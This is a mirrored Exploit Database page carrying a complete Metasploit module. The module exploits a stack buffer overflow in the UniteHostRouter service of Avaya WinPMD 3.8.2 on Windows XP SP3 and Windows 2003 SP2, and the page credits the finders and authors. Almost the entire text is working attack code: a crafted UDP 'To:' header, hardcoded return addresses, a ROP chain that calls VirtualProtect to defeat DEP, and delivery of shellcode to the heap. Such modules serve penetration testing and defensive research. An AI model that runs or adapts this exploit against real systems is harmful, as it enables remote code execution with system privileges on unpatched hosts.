Avaya WinPMD UniteHostRouter – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2012-10-10
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/21838/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Avaya WinPMD UniteHostRouter Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability
  				exists in the UniteHostRouter service, due to the insecure usage of memcpy when
  				parsing specially crafted "To:" headers. The module has been tested successfully on
  				Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.
  			},
  			'Author' =>
  				[
  					'Abdul-Aziz Hariri', # Vulnerability discovery
  					'Abysssec', # PoC
  					'juan vazquez' # Metasploit module
  				],
  			'References' =>
  				[
  					['OSVDB', '82764'],
  					['OSVDB', '73269'],
  					['BID', '47947'],
  					['EDB', '18397'],
  					['URL', 'https://downloads.avaya.com/css/P8/documents/100140122'],
  					['URL', 'http://secunia.com/advisories/44062']
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00\x0d\x0a\x20\x2f\x3a\x3f",
  					'Space' => 1024,
  					'DisableNops' => true
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Avaya WinPMD 3.8.2 / Windows XP SP3',
  						{
  							'Offset' => 260,
  							'Ret' => 0x77c2e93b # MOV EAX,EDI # POP EDI # RETN from msvcrt
  						}
  					],
  					['Avaya WinPMD 3.8.2 / Windows 2003 SP2',
  						{
  							'Offset' => 260,
  							'Ret' => 0x0040e0f2 # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from UniteHostRouter.EXE
  						}
  					]
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'May 23 2011',
  			'DefaultTarget'=> 0
  			))
  
  		register_options([ Opt::RPORT(3217) ], self.class)
  	end
  
  	def junk(n=4)
  		return rand_text_alpha(n).unpack("V")[0].to_i
  	end
  
  	def nop
  		return make_nops(4).unpack("V")[0].to_i
  	end
  
  	def exploit
  		connect_udp
  
  		if target.name =~ /Windows XP SP3/
  			buf = "\xeb\x7f" # jmp short $+0x81
  			buf << rand_text(0x81 - 2)
  			buf << "\xeb\x7f" # jmp short $+0x81
  			buf << rand_text(0x81 - 2)
  			buf << "\xeb\x64" # jmp short $+0x66 # jmp to shellcode in the heap
  			buf << [target.ret].pack("V") # MOV EAX,EDI # POP EDI # RETN # from msvcrt # EDI points to data in the heap
  			buf << [0x77c5f9a0].pack("V") # Readable address with string # from msvcrt
  			buf << ([0x77c3c99c].pack("V")) * 21 # (INC EAX # RETN) * 21 # from msvcrt # EAX points to data in th heap, align to shellcode position
  			buf << [0x77c168cd].pack("V") # jmp eax # from msvcrt.dll # JMP to shellcode in the heap
  		elsif target.name =~ /Windows 2003 SP2/
  			rop_gadgets =
  				[
  					0x77bb2563, # POP EAX # RETN
  					0x77ba1114, # <- *&VirtualProtect()
  					0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
  					junk,
  					0x77bb0c86, # XCHG EAX,ESI # RETN
  					0x77bc9801, # POP EBP # RETN
  					0x77be2265, # ptr to 'push esp #ret'
  					0x77bb2563, # POP EAX # RETN
  					0x03C0990F,
  					0x77bdd441, # SUB EAX, 03c0940f(dwSize, 0x500 -> ebx)
  					0x77bb48d3, # POP EBX, RET
  					0x77bf21e0, # .data
  					0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
  					0x77bbfc02, # POP ECX # RETN
  					0x77bef001, # W pointer (lpOldProtect) (-> ecx)
  					0x77bd8c04, # POP EDI # RETN
  					0x77bd8c05, # ROP NOP (-> edi)
  					0x77bb2563, # POP EAX # RETN
  					0x03c0984f,
  					0x77bdd441, # SUB EAX, 03c0940f
  					0x77bb8285, # XCHG EAX,EDX # RETN
  					0x77bb2563, # POP EAX # RETN
  					nop,
  					0x77be6591, # PUSHAD # ADD AL,0EF # RETN
  				].pack("V*")
  			buf = rand_text(3) # padding
  			buf << rop_gadgets
  			buf << "\xeb\x7f" # jmp $+0x81
  			buf << rand_text(0x81-2)
  			buf << "\xeb\x25" # jmp short $+0x66 => to shellcode
  			buf << rand_text(target['Offset'] - buf.length)
  			buf << "\xf2\xe0\x40" # EIP => # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from [UniteHostRouter.EXE # stackpivot to heap
  		end
  
  		request = "UTP/1 To: 127.0.0.1 /#{buf}\r\n\r\n"
  
  		if target.name =~ /Windows 2003 SP2/
  			request << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  		end
  
  		request << payload.encoded # The shellcode will be stored in the heap
  
  		print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
  		udp_sock.put(request)
  		disconnect_udp
  	end
  
  end